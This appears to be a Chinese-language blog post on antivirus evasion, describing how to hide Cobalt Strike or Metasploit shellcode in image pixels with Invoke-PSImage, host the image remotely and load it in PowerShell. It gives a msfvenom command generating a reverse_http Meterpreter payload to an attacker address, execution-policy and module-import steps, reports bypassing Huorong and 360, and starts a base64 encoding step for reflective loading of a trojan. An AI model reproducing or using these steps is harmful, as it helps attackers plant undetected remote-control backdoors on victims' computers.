shellcode隐写RGB过火绒、360

0r@nge

2021-12-28

免杀

免杀, 隐写

cs篇将Shellcode隐写到正常BMP图片中，把字符串拆成字节，写入每个像素的alpha通道中，然后上传到可信任的网站下偏移拼接shellcode进行远程动态加载，能有效地增加了免杀性和隐匿性。

首先在cs生成shellcode

MSF篇

在msf生成ps文件

1	msfvenom-pwindows/x64/meterpreter/reverse_httpLHOST=192.168.82.134LPORT=7788-fpsh-reflection>msf.ps1

后面都一样

将payload放在与Invoke-PSImage.ps1同一目录下

提前准备一张图片用于生成包含shellcode的图片

在当前目录下打开powershell

1
2
3

Set-ExecutionPolicy Unrestricted -Scope CurrentUser				//设置脚本策略
Import-Module .\Invoke-PSimage.ps1									//导入脚本模块
Invoke-PSImage -Script .\payload.ps1 -Image .\0range.png -Out .\0range.jpg -Web//生成用于远程加载的png图片

同时会生成一段powershll的shellcode

在公网服务器开启web服务，同时将上面生成的图片传到网站路径用于加载，生成的那段shellcode中的example.com改成自己web服务的地址就好

本地运行后火绒和360正常过

但是被defender拦了，尝试用海莲花加密，还是一样被拦截

看来简单的加密拆分混淆已经过不了defender了，得另寻他路

看到有师傅Powershell内存中执行exe，试一试远程加载反射注入PE

本地编码payload

powershell下执行将自己的马子改下路径

functionConvert-BinaryToString{
	[CmdletBinding()]param(
	[string]$FilePath)
	try{
	$ByteArray=[System.IO.File]::ReadAllBytes($FilePath);
	}
	catch{
	throw"Failedtoreadfile.Ensurethatyouhavepermissiontothefile,andthatthefilepathiscorrect.";}
	if($ByteArray){
	$Base64String=[System.Convert]::ToBase64String($ByteArray);
	}
	else{
throw'$ByteArrayis$null.';
}
Write-Output-InputObject$Base64String;
}
Convert-BinaryToStringE:\0.渗透工具\免杀\powershell\Invoke-Obfuscation-master\0range.ps1>E:\res.txt